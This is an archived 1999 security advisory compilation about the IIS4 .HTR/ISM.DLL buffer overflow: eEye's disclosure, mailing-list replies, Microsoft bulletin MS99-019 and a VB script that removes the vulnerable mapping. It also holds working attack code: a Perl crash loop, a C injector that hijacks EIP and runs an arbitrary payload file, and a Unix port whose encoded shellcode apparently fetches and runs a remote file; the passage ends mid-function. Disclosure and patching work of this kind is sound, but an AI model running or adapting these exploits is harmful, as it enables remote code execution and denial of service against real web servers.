Lucene search
EEye Digital SecurityPACKETSTORM:11771HistoryAug 17, 1999 - 12:00 a.m.
eEye.retina.vs.iis4.txt
1999-08-1700:00:00
eEye Digital Security
packetstormsecurity.com
56
`Retina vs. IIS4, Round 2, KO
eEye - Digital Security Team ([email protected])
Tue, 15 Jun 1999 12:18:16 -0000
Retina vs. IIS4, Round 2
Systems Affected:
Internet Information Server 4.0 (IIS4)
Microsoft Windows NT 4.0 SP3 Option Pack 4
Microsoft Windows NT 4.0 SP4 Option Pack 4
Microsoft Windows NT 4.0 SP5 Option Pack 4
Release Date:
June 8, 1999
Advisory Code:
AD06081999
Description:
We have been debating how to start out this advisory. How do you explain
that 90% or so of the Windows NT web servers on the Internet are open to a
hole that lets an attacker execute arbitrary code on the remote web server?
So the story starts...
The Goal:
Find a buffer overflow that will affect 90% of the Windows NT web servers on
the Internet. Exploit this buffer overflow.
The Theory:
There will be overflows in at least one of the default IIS filtered
extensions (i.e. .ASP, .IDC, .HTR). The way we think the exploit will take
place is that IIS will pass the full URL to the DLL that handles the
extension. Therefore if the ISAPI DLL does not do proper bounds checking it
will overflow a buffer taking IIS (inetinfo.exe) with it and allow us to
execute arbitrary code on the remote server.
Entrance Retina:
At the same time of working on this advisory we have been working on the AI
mining logic for Retina's HTTP module. What better test scenario than this?
We gave Retina a list of 10 or so extensions common to IIS and instructed it
to find any possible holes relating to these extensions.
The Grind:
After about an hour Retina found what appeared to be a hole. It displayed
that after sending "GET /[overflow].htr HTTP/1.0" it had crashed the server.
We all crossed our fingers, started up the good ol' debugger and had Retina
hit the server again.
Note: [overflow] is 3k or so characters... but we will not get into the
string lengths and such here. View the debug info and have a look for
yourself.
The Registers:
EAX = 00F7FCC8 EBX = 00F41130
ECX = 41414141 EDX = 77F9485A
ESI = 00F7FCC0 EDI = 00F7FCC0
EIP = 41414141 ESP = 00F4106C
EBP = 00F4108C EFL = 00000246
Note: Retina was using "A" (0x41 in hex) for the character to overflow with.
If you're not familiar with buffer overflows a quick note would be that
getting our bytes into any of the registers is a good sign, and directly
into EIP makes it even easier :)
Explain This:
The overflow is in relation to the .HTR extensions. IIS includes the
capability to allow Windows NT users to change their password via the web
directory /iisadmpwd/. This feature is implemented as a set of .HTR files
and the ISAPI extension file ISM.DLL. So somewhere along the line when the
URL is passed through to ISM.DLL, proper bounds checking is not done and our
overflow takes place. The .HTR/ISM.DLL ISAPI filter is installed by default
on IIS4 servers. Looks like we got our 90% of the Windows NT web servers
part down. However, can we exploit this?
The Exploit:
Yes. We can definitely exploit this and we have. We will not go into much
detail here about how the buffer is exploited and such. Read the comments in
the asm file for more information. However, one nice thing to note is that
the exploit has been crafted in such a way to work on SP4 and SP5 machines,
therefore there is no guessing of offsets and possible accidental crashing
of the remote server. We have not tested the exploit on SP3 and would love
to know if it works or not. eMail [email protected] if you've successfully
exploited this hole on SP3.
For more details about the exploit visit the eEye web site at www.eEye.com
The Fallout:
Almost 90% of the Windows NT web servers on the Internet are affected by
this hole. Everyone from NASDAQ to the U.S. Army to Microsoft themselves.
No, we did not try it on the above mentioned. But it is easy to verify if a
web server is exploitable without using the exploit. Even a server that's
locked in a guarded room behind a Cisco Pix can be broken into with this
hole. This is a reminder to all software vendors that testing for common
security holes in your software is a must. Demand more from your software
vendors.
The Request. (Well one anyway.)
Dear Microsoft,
One of the things that we found out is that IIS did not log any trace of our
attempted hack. We recommend that you pass all server requests to the
logging service before passing it to any ISAPI filters etc...The logging
service should be, as named, an actual service running in a separate memory
space so that when inetinfo goes down intrusion signatures are still logged.
Retina vs. IIS4, Round 2. KO.
Fixes:
1. Remove the extension .HTR from the ISAPI DLL list. Microsoft has just
updated their checklist to include this interim fix.
http://microsoft.com/security/products/iis/CheckList.asp
2. Apply the patch supplied by Microsoft when available.
http://microsoft.com/security
Vendor Status:
We contacted Microsoft on June 8th 1999, eEye Digital Security Team provided
all information needed to reproduce the exploit. and how to fix it.
Microsoft security team did confirm the exploit and are releasing a patch
for IIS.
Related Links
Advisory - On our web site
http://www.eEye.com/database/advisories/ad06081999/ad06081999.html
Advisory - Retina Brain File used to uncover the hole
http://www.eEye.com/database/advisories/ad06081999/ad06081999-brain.html
Retina - The Network Security Scanner
http://www.eEye.com/retina/
Greetings go out to:
The former Secure Networks Inc., L0pht, Phrack, ADM, Rhino9, Attrition, HNN
and any other security company or organization that believes in full
disclosure.
Copyright (c) 1999 eEye Digital Security Team
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express consent of
eEye. If you wish to reprint the whole or any part of this alert in any
other medium excluding electronic medium, please e-mail [email protected] for
permission.
Disclaimer:
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user's own risk.
Please send suggestions, updates, and comments to:
eEye Digital Security Team
[email protected]
www.eEye.com
--------------------------------------------------------------------------------
Date: Tue, 15 Jun 1999 18:23:28 -0000
From: eEye - Digital Security Team <[email protected]>
Subject: Update to IIS Remote Hole.
We have updated our advisory on our website,
http://www.eeye.com/database/advisories/ad06081999/ad06081999.html
and as promised added a link to the working remote exploit,
http://www.eeye.com/database/advisories/ad06081999/ad06081999-exploit.html
Signed,
eEye Digital Security Team
http://www.eEye.com
--------------------------------------------------------------------------------
Re: Retina vs. IIS4, Round 2, KO
Ryan R Permeh ([email protected])
Tue, 15 Jun 1999 17:01:23 -0500
tested, this works for me... scripting was turned on... perl exploit
code follows:
#!/usr/bin/perl
#props to the absu crew
use Net::Telnet;
for ($i=2500;$i<3500;$i++)
{
$obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
print "$cmd\n";$obj->print("$cmd");
$obj->close;
}
--
----------------------------------------------------------------
Ryan R Permeh E-MAIL: [email protected]
IS Engineer WEB : http://www.rconnect.com
Rural Connections HELP : [email protected]
FAQ : http://www.rconnect.com/help
SALES : [email protected]
----------------------------------------------------------------
120 First Street NE PHONE : (507) 281-5005
Rochester, MN 55906 FAX : (507) 281-9272
--------------------------------------------------------------------------------
Re: Retina vs. IIS4, Round 2, KO
Randal L. Schwartz ([email protected])
Tue, 15 Jun 1999 16:59:08 -0700
>>>>> "Ryan" == Ryan R Permeh <[email protected]> writes:
Ryan> #!/usr/bin/perl
Ryan> #props to the absu crew
Ryan> use Net::Telnet;
Ryan> for ($i=2500;$i<3500;$i++)
Ryan> {
Ryan> $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
Ryan> my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
Ryan> print "$cmd\n";$obj->print("$cmd");
Ryan> $obj->close;
Ryan> }
It's silly to use Net::Telnet for HTTP:
use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
warn "$i\n";
get "http://$ARGV[0]/".('a' x $i).".htr";
}
--
Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095
Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying
Email: <[email protected]> Snail: (Call) PGP-Key: (finger [email protected])
Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>
Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me
--------------------------------------------------------------------------------
http://www.microsoft.com/security/bulletins/ms99-019.asp
Microsoft Security Bulletin (MS99-019)
Patch Available for Malformed HTR Request Vulnerability
Originally Posted: May 27, 1999
Summary
=======
Microsoft has released a patch that eliminates a vulnerability in Microsoft
(r) Internet Information Server 4.0. The vulnerability could allow denial
of service attacks against an IIS server or, under certain conditions,
could allow arbitrary code to be run on the server.
Microsoft has issued this bulletin to advise customers of steps they can
take to protect themselves against this vulnerability. A patch to eliminate
this vulnerability is being developed, and an update to this bulletin will
be released to advise customers when it is available.
Issue
=====
IIS supports several file types that require server-side processing. When a
web site visitor requests a file of one of these types, an appropriate
filter DLL processes it. A vulnerability exists in ISM.DLL, the filter DLL
that processes .HTR files. HTR files enable remote administration of user
passwords.
The vulnerability involves an unchecked buffer in ISM.DLL. This poses two
threats to safe operation. The first is a denial of service threat. A
malformed request for an .HTR file could overflow the buffer, causing IIS
to crash. The server would not need to be rebooted, but IIS would need to
be restarted. The second threat would be more difficult to exploit. A
carefully-constructed file request could cause arbitrary code to execute on
the server via a classic buffer overrun technique. Neither scenario could
occur accidentally. This vulnerability does not involve the functionality
of the password administration features of .HTR files.
While there are no reports of customers being adversely affected by this
vulnerability, Microsoft is proactively releasing this bulletin to allow
customers to take appropriate action to protect themselves against it.
Affected Software Versions
==========================
- Microsoft Internet Information Server 4.0
What Microsoft is Doing
=======================
Microsoft has provided a workaround that fixes the problem identified.
The workaround is discussed below in What Customers Should Do.
Microsoft also has sent this security bulletin to customers
subscribing to the Microsoft Product Security Notification Service.
See http://www.microsoft.com/security/services/bulletin.asp for more
information about this free customer service.
What Customers Should Do
========================
Microsoft highly recommends that customers disable the script mapping
for .HTR files as follows:
- From the desktop, start the Internet Service Manager
by clicking Start | Programs | Windows NT 4.0 Option
Pack | Microsoft Internet Information Server | Internet
Service Manager
- Double-click "Internet Information Server"
- Right-click on the computer name and select Properties
- In the Master Properties drop-down box, select "WWW Service",
then click the "Edit" button .
- Click the "Home Directory" tab, then click the "Configuration"
button.
- Highlight the line in the extension mappings that contains ".HTR",
then click the "Remove" button.
- Respond "yes" to "Remove selected script mapping?" say yes,
click OK 3 times, close ISM
A patch will be available shortly to eliminate the vulnerability
altogether.
Customers should monitor http://www.microsoft.com/security for an
announcement when the patches are available.
Microsoft recommends that customers review the IIS Security Checklist
at http://www.microsoft.com/security/products/iis/CheckList.asp
More Information
================
Please see the following references for more information related to this
issue.
- Microsoft Security Bulletin MS99-019,
Workaround Available for "Malformed HTR Request" Vulnerability
(The Web-posted version of this bulletin),
http://www.microsoft.com/security/bulletins/ms99-019.asp.
- IIS Security Checklist,
http://www.microsoft.com/security/products/iis/CheckList.asp
Obtaining Support on this Issue
===============================
If you require technical assistance with this issue, please contact
Microsoft Technical Support. For information on contacting Microsoft
Technical Support, please see
http://support.microsoft.com/support/contact/default.asp.
Revisions
=========
- June 15, 1999: Bulletin Created.
For additional security-related information about Microsoft products,
please visit http://www.microsoft.com/security
-------------------------------------------------------------------
THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS"
WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER
EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION OR ITS
SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES,
EVEN IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR
LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE
FOREGOING LIMITATION MAY NOT APPLY.
(c) 1999 Microsoft Corporation. All rights reserved. Terms of Use.
--------------------------------------------------------------------------------
Date: Wed, 16 Jun 1999 12:12:33 -0400
From: Russ <[email protected]>
To: [email protected]
Subject: Re: Update to IIS Remote Hole.
Nelson Bunker <[email protected]> has provided us with an VB app
which automates the process of updating your IIS 4.0 Metabase to remove
the ISM.DLL mappings which permit the eEye IISHack to work. Its a
temporary workaround while Microsoft continue to work on a proper fix
(which is expected today or tomorrow btw). For those of you with large
IIS installation, you might find this extremely useful.
If you use it, make sure you drop Nelson a line and thank him for it!
Check the NTBugtraq Home Page, http://ntbugtraq.ntadvice.com, in the
"What's New" section for links.
Cheers,
Russ - NTBugtraq Editor
<http://ntbugtraq.ntadvice.com/default.asp?pid=69&sid=1>
For those of you that have too many IIS machines to yank this off by hand here is some vb code to set your IIS metabase remotely... VB 5.0 sp3 IIS Resource kit installed --
Metabase editor utility from resource kit needs to be installed.
Have fun! You can set all of you metabase up with the tools mentioned above. :-)
Nelson Bunker
'The subs I put in Modules handles the App Mappings tab of the
'application configuration screen
Sub AppMappings(ByRef IIS)
'delete all existing script paths
Call DeleteAllLowerProperties(IIS, "ScriptMaps")
'the only thing changed on scripts maps is htm & html mapped to
'asp.dll and removed the ism.dll mapping
newscriptmaps =
Array(".asa,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
".html,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
".asp,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
".cdx,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
".cer,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
".htm,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
".htw,C:\WINNT\System32\webhits.dll,3;",
".ida,C:\WINNT\System32\idq.dll,3;",
".idc,C:\WINNT\System32\inetsrv\httpodbc.dll,1;",
".idq,C:\WINNT\System32\idq.dll,3;",
".shtm,C:\WINNT\System32\inetsrv\ssinc.dll,1;",
".shtml,C:\WINNT\System32\inetsrv\ssinc.dll,1;",
".stm,C:\WINNT\System32\inetsrv\ssinc.dll,1")
IIS.PutEx 2, "ScriptMaps", newscriptmaps
IIS.SetInfo
End Sub
Sub DeleteAllLowerProperties(ByRef IIS, ByVal PropertyName)
'delete all existing script paths
PathList = IIS.GetDataPaths(PropertyName, 1)
If Err.Number <> 0 Then
For Each Path In PathList
Set objScriptPath = GetObject(Path)
objScriptPath.PutEx 1, PropertyName, True
Next
End If
End Sub
' Start form1 here
Function GetServerArray()
GetServerArray = Array("Websvr1", ...., "WebsvrX")
End Function
Private Sub Form_Load()
ServerArray = GetServerArray()
For Each Server In ServerArray
Set globalW3svc = GetObject("IIS://" & Server & "/W3SVC")
Call AppMappings(globalW3svc)
Next
End Sub
--------------------------------------------------------------------------------
Date: Wed, 16 Jun 1999 08:58:05 -0700
From: Greg Hoglund <[email protected]>
To: [email protected]
Subject: IIS Remote Exploit (injection code)
I read yesturday on eEye.com that they had discovered a buffer overflow in
IIS. I could not resist writing an exploit. I did not have time to design
a really cool payload for this exploit, so I simply wrote the injection
code. However, this is meaningful for several reasons. Attached is the
injection code. The exploit will deliver any payload of your choosing.
Your payload will be executed. This empowers you to create a "collection"
of payloads that are not dependant upon the injection vector in any way.
This decoupling is important for military needs, where a single injection
vector needs to work, but the "warhead" may be different depending on the
targets characterization.
The exploit was fairly simple to build. In short, I read on eEye.com that
they had overflowed IIS with something like a ~3000 character URL. Within
minutes I had caused IIS to crash with EIP under my control. I used a
special pattern in the buffer (see code) to make it easy for me to identify
where EIP was being popped from. The pattern also made it easy to
determine where I was jumping around. Use the tekneek Danielson. ;-)
So, I controlled EIP, but I needed to get back to my stack segment, of
course. This is old school, and I really lucked out. Pushed down two
levels on the stack was an address for my buffer. I couldn't have asked
for more. So, I found a location in NTDLL.DLL (0x77F88CF0) that I could
return to. It had two pop's followed by a return. This made my injection
vector return to the value that was stored two layers down on the stack.
Bam, I was in my buffer. So, I landed in a weird place, had to add a near
jump to get to somewhere more useful.. nothing special, and here we are
with about 2K of payload space. If you don't supply any mobile code to be
run, the injection vector will supply some for you. The default payload in
simply a couple of no-ops followed by a debug breakpoint (interrupt 3)...
It's easy to play with if you want to build your own payloads.. just keep a
debugger attached to inetinfo.exe on the target machine.
Lastly, I would simply like to point out that monoculture installations are
very dangerous. It's a concept from agribusiness.. if you have all one
crop, and a virus comes along that can kill that crop, your out of
business. With almost ALL of the IIS servers on the net being vulnerable
to this exploit, we also have a monoculture. And, it's not just IIS. The
backbone of the Internet is built on common router technology (such as
cisco IOS). If a serious exploit comes along for the IOS kernel, can you
imagine the darkness that will fall?
<--- snip
// IIS Injector for NT
// written by Greg Hoglund <[email protected]>
// http://www.rootkit.com
//
// If you would like to deliver a payload, it must be stored in a binary file.
// This injector decouples the payload from the injection code allowing you to
// create a numnber of different attack payloads. This code could be used, for
// example, by a military that needs to attack IIS servers, and has characterized
// the eligible hosts. The proper attack can be chosen depending on needs. Since
// the payload is so large with this injection vector, many options are available.
// First and foremost, virii can delivered with ease. The payload is also plenty
// large enough to remotely download and install a back door program.
// Considering the monoculture of NT IIS servers out on the 'Net, this represents a
// very serious security problem.
#include <windows.h>
#include <stdio.h>
#include <winsock.h>
void main(int argc, char **argv)
{
SOCKET s = 0;
WSADATA wsaData;
if(argc < 2)
{
fprintf(stderr, "IIS Injector for NT\nwritten by Greg Hoglund, " \
"http://www.rootkit.com\nUsage: %s <target" \
"ip> <optional payload file>\n", argv[0]);
exit(0);
}
WSAStartup(MAKEWORD(2,0), &wsaData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(INVALID_SOCKET != s)
{
SOCKADDR_IN anAddr;
anAddr.sin_family = AF_INET;
anAddr.sin_port = htons(80);
anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);
if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
{
static char theSploit[4096];
// fill pattern
char kick = 'z'; //0x7a
char place = 'A';
// my uber sweet pattern gener@t0r
for(int i=0;i<4096;i+=4)
{
theSploit[i] = kick;
theSploit[i+1] = place;
theSploit[i+2] = place + 1;
theSploit[i+3] = place + 2;
if(++place == 'Y') // beyond 'XYZ'
{
place = 'A';
if(--kick < 'a') kick = 'a';
}
}
_snprintf(theSploit, 5, "get /");
_snprintf(theSploit + 3005, 22, "BBBB.htr HTTP/1.0\r\n\r\n\0");
// after crash, looks like inetinfo.exe is jumping to the address
// stored @ location 'GHtG' (0x47744847)
// cross reference back to the buffer pattern, looks like we need
// to store our EIP into theSploit[598]
// magic eip into NTDLL.DLL
theSploit[598] = (char)0xF0;
theSploit[599] = (char)0x8C;
theSploit[600] = (char)0xF8;
theSploit[601] = (char)0x77;
// code I want to execute
// will jump foward over the
// embedded eip, taking us
// directly to the payload
theSploit[594] = (char)0x90; //nop
theSploit[595] = (char)0xEB; //jmp
theSploit[596] = (char)0x35; //
theSploit[597] = (char)0x90; //nop
// the payload. This code is executed remotely.
// if no payload is supplied on stdin, then this default
// payload is used. int 3 is the debug interrupt and
// will cause your debugger to "breakpoint" gracefully.
// upon examiniation you will find that you are sitting
// directly in this code-payload.
if(argc < 3)
{
theSploit[650] = (char) 0x90; //nop
theSploit[651] = (char) 0x90; //nop
theSploit[652] = (char) 0x90; //nop
theSploit[653] = (char) 0x90; //nop
theSploit[654] = (char) 0xCC; //int 3
theSploit[655] = (char) 0xCC; //int 3
theSploit[656] = (char) 0xCC; //int 3
theSploit[657] = (char) 0xCC; //int 3
theSploit[658] = (char) 0x90; //nop
theSploit[659] = (char) 0x90; //nop
theSploit[660] = (char) 0x90; //nop
theSploit[661] = (char) 0x90; //nop
}
else
{
// send the user-supplied payload from
// a file. Yes, that's a 2K buffer for
// mobile code. Yes, that's big.
FILE *in_file;
in_file = fopen(argv[2], "rb");
if(in_file)
{
int offset = 650;
while( (!feof(in_file)) && (offset < 3000))
{
theSploit[offset++] = fgetc(in_file);
}
fclose(in_file);
}
}
send(s, theSploit, strlen(theSploit), 0);
}
closesocket(s);
}
}
--------------------------------------------------------------------------------
Date: Wed, 16 Jun 1999 10:59:38 -0000
From: Marc <[email protected]>
To: [email protected]
Subject: Update to IIS hole.
Hi,
We have been receiving some eMails from people saying that the iishack.exe
on our website is not working for them and is just crashing the remote
server. Here is what we know and do not know etc..
We have tested it on the English version of NT4.0, with IIS4.0, Service Pack
4 and 5.
We have had some people eMail us that they have this configuration and it is
not working... This very well could be possible that the offset we are using
is not working for some dll's and such... people might have a different
version and what not. For this case we *might* release a second exploit that
uses a better offset that should work on all nt4.0 iis4.0 sp4 and sp5
machines but honestly it is not that big of a deal to us. The hole is there,
and is exploitable and other people have been writing exploits for it also.
We do know that our exploit probably does not work on sp3 because off the
offset we use... we have gotten a few eMails about this and we never did
test nor claim it worked on sp3 but we *might* in our second version of the
exploit find a offset that works for sp3 also.
I honestly think this post is in some ways pointless but maybe it will help
to cut back some of the eMails we are getting about the above information.
Thank you to everyone who has been helping out.
Signed,
Marc
eEye Digital Security Team
http://www.eEye.com
P.S.
Jump on over to technotronic.com for some good information and other
exploits and such.
--------------------------------------------------------------------------------
Date: Wed, 16 Jun 1999 19:04:20 +0200 (CEST)
From: typo <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: iis4 remote exploit ported
the teso crew has ported the iis exploit to linux...
basically this program does the same as the windows version (written in
asm) of this exploit. Produced shellcode is identical.. everything should
work.. we haven't tested. Everyone except rootshell.com is allowed to put
a copy of this on his/her/their webpage.
<advertisement>
visit #austria on ircnet for newest elite 0day exploits.
</advertisement>
scut & typo
/* iis 4.0 exploit
* by eeye security
*
* ported to unix/C by the teso crew.
*
* shoutouts to #hax and everyone else knowing us...
* you know who you are.
*
* gcc -o tesoiis tesoiis.c -Wall
*/
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, char *sourceip,
unsigned short int sourceport, int sec);
void net_write (int fd, const char *str, ...);
unsigned long int net_resolve (char *host);
char stuff[] = "\x42\x68\x66\x75\x41\x50"; /* "!GET /" */
#define URL_OFFSET 1055
char front[] = "GET /AAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"\x41\x41\x41\x41\x41\x41\xb0\x87\x67\x68\xb0\x87"
"\x67\x68\x90\x90\x90\x90\x58\x58\x90\x33\xc0\x50"
"\x5b\x53\x59\x8b\xde\x66\xb8\x21\x02\x03\xd8\x32"
"\xc0\xd7\x2c\x21\x88\x03\x4b\x3c\xde\x75\xf4\x43"
"\x43\xba\xd0\x10\x67\x68\x52\x51\x53\xff\x12\x8b"
"\xf0\x8b\xf9\xfc\x59\xb1\x06\x90\x5a\x43\x32\xc0"
"\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43\x52\x51"
"\x53\x56\xb2\x54\xff\x12\xab\x59\x5a\xe2\xe6\x43"
"\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43"
"\x52\x53\xff\x12\x8b\xf0\x5a\x33\xc9\x50\x58\xb1"
"\x05\x43\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75"
"\xf4\x43\x52\x51\x53\x56\xb2\x54\xff\x12\xab\x59"
"\x5a\xe2\xe6\x33\xc0\x50\x40\x50\x40\x50\xff\x57"
"\xf4\x89\x47\xcc\x33\xc0\x50\x50\xb0\x02\x66\xab"
"\x58\xb4\x50\x66\xab\x58\xab\xab\xab\xb1\x21\x90"
"\x66\x83\xc3\x16\x8b\xf3\x43\x32\xc0\xd7\x3a\xc8"
"\x75\xf8\x32\xc0\x88\x03\x56\xff\x57\xec\x90\x66"
"\x83\xef\x10\x92\x8b\x52\x0c\x8b\x12\x8b\x12\x92"
"\x8b\xd7\x89\x42\x04\x52\x6a\x10\x52\xff\x77\xcc"
"\xff\x57\xf8\x5a\x66\x83\xee\x08\x56\x43\x8b\xf3"
"\xfc\xac\x84\xc0\x75\xfb\x41\x4e\xc7\x06\x8d\x8a"
"\x8d\x8a\x81\x36\x80\x80\x80\x80\x33\xc0\x50\x50"
"\x6a\x48\x53\xff\x77\xcc\xff\x57\xf0\x58\x5b\x8b"
"\xd0\x66\xb8\xff\x0f\x50\x52\x50\x52\xff\x57\xe8"
"\x8b\xf0\x58\x90\x90\x90\x90\x50\x53\xff\x57\xd4"
"\x8b\xe8\x33\xc0\x5a\x52\x50\x52\x56\xff\x77\xcc"
"\xff\x57\xec\x80\xfc\xff\x74\x0f\x50\x56\x55\xff"
"\x57\xd8\x80\xfc\xff\x74\x04\x85\xc0\x75\xdf\x55"
"\xff\x57\xdc\x33\xc0\x40\x50\x53\xff\x57\xe4\x90"
"\x90\x90\x90\xff\x6c\x66\x73\x6f\x66\x6d\x54\x53"
"\x21\x80\x8d\x84\x93\x86\x82\x95\x21\x80\x8d\x98"
"\x93\x8a\x95\x86\x21\x80\x8d\x84\x8d\x90\x94\x86"
"\x21\x80\x8d\x90\x91\x86\x8f\x21\x78\x8a\x8f\x66"
"\x99\x86\x84\x21\x68\x8d\x90\x83\x82\x8d\x62\x8d"
"\x8d\x90\x84\x21\x78\x74\x70\x64\x6c\x54\x53\x21"
"\x93\x86\x84\x97\x21\x94\x86\x8f\x85\x21\x94\x90"
"\x84\x8c\x86\x95\x21\x84\x90\x8f\x8f\x86\x84\x95"
"\x21\x88\x86\x95\x89\x90\x94\x95\x83\x9a\x8f\x82"
"\x8e\x86\x21\x90\x98\x8f\x4f\x86\x99\x86\x21"
/* stick it in here */
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21"
".htr HTTP/1.0";
void
usage (void)
{
printf ("usage: ./tesoiis host port url\n");
exit (EXIT_FAILURE);
}
int
main (int argc, char *argv[])
{
/* yadda,yadda.. you can try exploiting our exploit!!
* update: hmm.. is this exploitable? gets EIP touched by exit()?
* gotta check this later...
*/
char host[256], url[256];
int port,sd,t = 0;
int m = 0;
char *cc, *pfft;
struct sockaddr_in cs;
printf ("teso crew IIS exploit.. shellcode by eEye.\n");
printf ("------------------------------------------\n");
if (argc < 4)
usage();
strcpy (host, argv[1]);
strcpy (url, argv[3]);
port = atoi (argv[2]);
if ((port < 1) || (port > 65535))
usage();
cc = url;
pfft = front + URL_OFFSET;
while (*cc) {
if (*cc == '/' && 0 == t) {
memcpy (pfft, stuff, 6);
pfft += 6;
t = 1;
} else {
*pfft = *cc + 0x21;
pfft++;
}
cc++;
m += 1;
}
printf ("Host: %s Port: %d Url: %s\n", host, port, url);
printf ("Connecting... ");
fflush (stdout);
sd = net_connect (&cs, host, port, NULL, 0, 30);
if (sd < 1) {
printf ("failed!\n");
exit (EXIT_FAILURE);
}
printf ("done.. sending shellcode..");
fflush (stdout);
net_write (sd, "%s\n\n", front);
printf ("done.. closing fd!\n");
close (sd);
printf ("%s\n", front);
exit (EXIT_SUCCESS);
}
int
net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
unsigned short int sourceport, int sec)
{
int n, len, error, flags;
int fd;
struct timeval tv;
fd_set rset, wset;
/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);
if (!(cs->sin_addr.s_addr = net_resolve (server))) {
close (fd);
return (-1);
}
flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}
error = 0;
n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;
FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;
n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);
if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);
done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}
unsigned long int
net_resolve (char *host)
{
